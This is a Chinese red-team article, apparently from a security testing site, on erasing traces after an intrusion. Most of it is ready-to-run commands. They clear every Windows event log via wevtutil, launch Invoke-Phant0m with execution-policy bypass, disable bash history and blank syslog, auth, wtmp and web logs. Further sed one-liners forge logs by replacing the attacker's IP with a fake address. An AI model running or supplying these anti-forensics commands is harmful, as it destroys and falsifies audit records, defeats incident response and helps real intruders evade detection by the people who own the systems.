声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。在蓝队的溯源中,攻击者的攻击路径都将记录在日志中,所遗留的工具也会被蓝队进行分析,在工具中可以查找特征,红队自研工具更容易留下蛛丝马迹。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉,以防被溯源在演练中失分。
Windows日志处理
Windows事件日志不同EVENT ID代表的不同意义
Windows日志管理工具wevtutil.exe
wevtutil搭配for循环清除所有日志
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
Powershell批量删日志
wevtutil el | Foreach-Object {Write-Host "Clearing $_"; wevtutil cl "$_"}
加载运行powershell脚本删除日志
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"github
地址:https://github.com/gouduyao/Invoke-Phant0m
Linux日志处理
- Bash日志处理
bash去掉history记录,让系统不记录历史操作命令(使用较少)
export HISTSIZE=0export HISTFILE=/dev/null
history命令的清除
history -c # 删除内存中的所有命令历史history -r # 删除当前会话历史记录
- 系统日志
一键清理日志bash脚本
# !/usr/bin/bashecho > /var/log/syslogecho > /var/log/messagesecho > /var/log/httpd/access_logecho > /var/log/httpd/error_logecho > /var/log/xferlogecho > /var/log/secureecho > /var/log/auth.logecho > /var/log/user.logecho > /var/log/wtmpecho > /var/log/lastlogecho > /var/log/btmpecho > /var/run/utmprm ~/./bash_historyhistory -c
使用sed伪造日志或定向删除
# 192.168.100.101为攻击者IP,10.0.0.55为伪造IP,-i编辑文件sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/btmp*sed 's/192.168.100.101/10.0.0.55/g' -i /var/log/lastlogsed 's/192.168.100.101/10.0.0.55/g' -i /var/log/wtmpsed 's/192.168.100.101/10.0.0.55/g' -i securesed 's/192.168.100.101/10.0.0.55/g' -i /var/log/utmp
由于日志文件偏多这里建议如上编辑为bash脚本一键清理
web日志同样可以使用sed进行伪造,例如apache日志、MySQL日志、php日志
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/access.logsed 's/192.168.100.101/10.0.0.55/g' –i /var/log/apache/error_log
sed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_error.logsed 's/192.168.100.101/10.0.0.55/g' –i /var/log/mysql/mysql_slow.log
sed 's/192.168.100.101/192.168.1.4/g' –i /var/log/apache/php_error.log